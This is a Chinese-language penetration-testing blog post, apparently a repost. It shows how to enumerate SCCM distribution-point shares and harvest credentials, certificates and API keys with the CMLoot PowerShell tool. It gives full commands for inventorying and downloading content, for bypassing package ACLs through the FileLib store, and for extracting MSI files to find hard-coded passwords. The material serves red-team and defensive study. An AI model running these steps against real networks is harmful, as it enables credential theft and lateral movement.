【内网渗透】SCCM获取计算机用户/密码

admin 2023年3月17日18:02:28评论100 views字数 4290阅读14分18秒阅读模式



【内网渗透】SCCM获取计算机用户/密码
内网渗透—SCCM获取计算机用户/密码
【内网渗透】SCCM获取计算机用户/密码


11.SCCM介绍

Microsoft Endpoint Configuration Manager CM),也称为System Center Configuration ManagerSCCM),被公司广泛部署以管理其Windows环境。它支持服务器和工作站的简单注册,分发软件和环境中Windows系统的通用管理。配置管理器 通常包含攻击者可用于查找允许横向移动的新攻击路径或凭据的信息。

22.管理分发点

可以通俗比喻,就是个派单点。

将内容分发到客户端的CM服务的名称。内容可以通过SMBHTTPS) 访问。若要查找在域客户端或服务器上配置的 CM分发点,可以读取以下注册表项 (PowerShell):

PS>(Get-ItemProperty-Path HKLM:SOFTWAREMicrosoftSMSDP -Name ManagementPoints).ManagementPoints

默认情况下,CM分发点公开文件共享,其中包含要使用软件中心和操作系统部署 (OSD) 部署的操作系统映像、脚本和软件。默认共享是隐藏的,并命名为SCCMContentLib$。默认情况下,所有用户都可以读取共享,并且可以包含敏感信息,例如脚本或配置文件中的凭据、带有私钥的证书或其他可能使攻击者获得优势的信息。要查看远程计算机上的所有共享,可以使用“net view”命令:

net view \sccm /all

33.内容库

CM Content LibrarySCCMContentLibrary$ share)有一种特殊的方式来存储Microsoft在此处记录的文件。

The TLDR;SCCMContentLib$DataLib文件夹包含.INI文件。这.INI文件以原始文件名命名,扩展名为.INI附后。该文件包含原始文件的SHA256哈希,文件本身存储在目录SCCMContentLib$FileLib中,格式为<文件夹名称:4个前字符的哈希><完整哈希作为文件名>

【内网渗透】SCCM获取计算机用户/密码

44.CMLoot

为了提高效率开发此脚本进行内容获取。

CMLoot执行所有可访问 的清单。INI文件,并将其本地存储在文本文件中。然后,清单用于搜索感兴趣的文件扩展名,选择要下载的文件,CMLoot将下载文件并恢复原始文件名。

要创建清单文件,请运行Invoke-CMLootInventory

PS>Invoke-CMLootInventory-SCCMHost sccm01.domain.local -Outfile sccmfiles.txt [*] Inventorycreated. Use Invoke-CMLootDownload-InventoryFile sccminv.txt to download files. See Get-HelpInvoke-CMLootDownloadforoptions.

脚本将获取所有.INI文件放在DataLib目录中,并将它们放在可以手动解析或由CMLoot本身解析的文本文件中。

创建清单后,可以通过多种不同的方式获取文件;单个文件、扩展名类型或使用GridSelect。警告一下,如果打开大型库存文件,GridSelect可能会耗尽RAM资源。

下载单个文件,方法是复制清单文本中的一行,然后使用-SingleFile选项运行Invoke-CMLootDownload

PS>Invoke-CMLootDownload -SingleFile\sccmSCCMContentLib$DataLibSC100001.1x86MigApp.xml
Downloading\sccmSCCMContentLib$DataLibSC100001.1x86MigApp.xml

使用-Extension选项下载具有特定文件扩展名的所有文件:

PS>Invoke-CMLootDownload -InventoryFile .sccmfiles.txt -Extensionmsi
Downloading\sccmSCCMContentLib$DataLibContent_718bd807-8021-45ce-81d2-93800392b5cd.1putty-64bit-0.76-installer.msiDownloading\sccmSCCMContentLib$DataLibSC100004.2i386client.msiDownloading\sccmSCCMContentLib$DataLibSC100004.2i386microsoftpolicyplatformsetup.msiAlreadydownloaded, skipping\sccmSCCMContentLib$DataLibSC100007.2SMSSETUPCLIENTI386CLIENT.MSI[.....]

默认情况下,文件将下载到执行脚本的文件夹中的CMLootOut,可以使用-OutFolder参数进行更改。文件以<文件夹:文件扩展名><文件名的前4个字符>保存hash_original

55.我们要找什么?

凭据

用户名/密码

Grep用于:“域”、“@domain.tld”或“密码=”

证书

查找扩展名:pfxp12pemkey

网络配置信息

接口密钥

Grep:“APIKEY”,“API_KEY”,“API_SECRET”或使用正则表达式查找关键数据

关于资源的信息

有用的文件共享

脚本从UNC路径获取文件,否则很难发现

Grep for '\'

应用程序配置

API端点/网络端口

Grep表示:“http://”、“https://”等。

硬编码凭据

.NET远程处理服务、Java序列化等

66.获取用户及密码

可以使用“管理访问帐户”功能为CM中的包设置ACL。在下面的示例中,只有组sccm_secretapp中的用户才能访问应用程序包“SecretApp”

【内网渗透】SCCM获取计算机用户/密码

如果不属于该组的用户sccm_secretapp尝试访问.秘密应用程序的INI文件驻留,访问按预期被拒绝。

【内网渗透】SCCM获取计算机用户/密码

但是,如果该过程颠倒过来,我们转向包含实际文件的FileLib,则可以以任何域用户的身份访问该文件。还有一个.文件库中的INI文件,其中包含指向DataLib中的内容文件夹的标识符。

【内网渗透】SCCM获取计算机用户/密码

查找已使用ACL锁定的文件夹可能表明它们包含有趣的信息。CMLoot-Inventory将检测DataLib文件夹何时无法访问,并将对它们的引用存储在单独的文本文件(<inventoryfilename>_noaccess.txt)中。

[*] Access to \sccmSCCMContentLib$DataLibContent_b9894972-28e8-40b8-9231-760e9e77d5cb.1 is denied, adding to sccminv_noaccess.txt

[*] Inaccessible DataLib content detected. Use Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccminv_noaccess.txt to search for correlating files.

然后,可以使用Cmdlet CMLoot-Hunt FileLib中搜寻原始文件并下载它们。

PS>Invoke-CMLootHunt -SCCMHost sccm -NoAccessFilesccmfiles_noaccess.txt
[*] File\sccmSCCMContentLib$FileLib17C117C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90match Content_b9894972-28e8-40b8-9231-760e9e77d5cb.1. Copying tooutfolder.

CMLootHunt无法确定从FileLib复制的文件的文件扩展名,因为无法访问可以找到原始文件名的DataLib文件夹,因此文件名将是文件的SHA256

要确定它是什么类型的文件,可以使用*nix 'file' 命令

user@wsl$fileCMLootOut/17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90

77.提取.MSI文件

.MSI文件是Windows的安装包,可以使用msiextract提取。CMLoot可以使用Invoke-CMLootExtract cmdlet 执行MSI文件的单个文件或批量提取:

PS>Invoke-CMLootExtract -Path .CMLootOutmsi
ProcessingC:TempCMLoot-mainCMLootOutmsi129D_putty-64bit-0.76-installer.msi...ProcessingC:TempCMLoot-mainCMLootOutmsi2001_mp.msi...ProcessingC:TempCMLoot-mainCMLootOutmsi210C_windowsfirewallconfigurationprovider.msi...ProcessingC:TempCMLoot-mainCMLootOutmsi5081_mcs.msi...[....]

文件将在包含.MSI文件的路径的子文件夹中提取。提取完成后,可以浏览.MSI文件的内容并找出它们是否包含任何有用的信息。

也可以提取单个.MSI文件。与上面的“访问控制”示例一样,提取文件并在SecretApp.exe.config文件中找到凭据。

PS>Invoke-CMLootExtract -Path.CMLootOut17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90
ProcessingC:TempCMLoot-mainCMLootOut17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90...

【内网渗透】SCCM获取计算机用户/密码

CMLoot可以在这里下载:

https://github.com/1njected/CMLoot

8关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏



原文始发于微信公众号(moonsec):【内网渗透】SCCM获取计算机用户/密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日18:02:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【内网渗透】SCCM获取计算机用户/密码http://cn-sec.com/archives/1611626.html

发表评论

匿名网友 填写信息